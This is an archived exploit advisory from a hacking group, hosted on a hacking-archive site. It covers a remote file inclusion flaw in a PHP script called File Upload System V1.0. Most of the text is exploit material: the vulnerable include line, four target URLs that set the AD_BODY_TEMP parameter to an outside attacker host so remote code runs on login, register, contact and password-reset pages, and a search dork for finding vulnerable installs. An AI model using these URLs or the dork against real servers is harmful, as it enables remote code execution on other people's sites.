AOH :: HP Unsorted F :: TB10080.HTM

File Upload System V1.0 (AD_BODY_TEMP) multiple file include



File Upload System V1.0 (AD_BODY_TEMP) multiple file include
File Upload System V1.0 (AD_BODY_TEMP) multiple file include



============================ HItamputih Crew ===================# hitamputih Advisory
# Discovered By : IbnuSina & jipank
#-----------------------------------------------------------
# Software: File Upload System V1.0
# Script Demo: http://demo.free-php-scripts.net/File_Upload 
# Method: file inclusion
# Thanks To : akukasih,nyubi,irvian,BlueSpy,kurt_kabayan and all #hitamputih crew

[[Exploitz]]---------------------------------------------------------

?php include($AD_BODY_TEMP);?>

exploit :

http://target.com/[PATH]/contact.php?AD_BODY_TEMP=http://injekan.lu 
http://target.com/[PATH]/login.php?AD_BODY_TEMP=http://injekan.lu 
http://target.com/[PATH]/register.php?AD_BODY_TEMP=http://injekan.lu 
http://target.com/[PATH]/forgot_pass.php?AD_BODY_TEMP=http://injekan.lu 

gugel dork : intext:"Marsal Design Co."


The entire AOH site is optimized to look best in Firefox® 3 on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2014 AOH
We do not send spam. If you have received spam bearing an artofhacking.com email address, please forward it with full headers to abuse@artofhacking.com.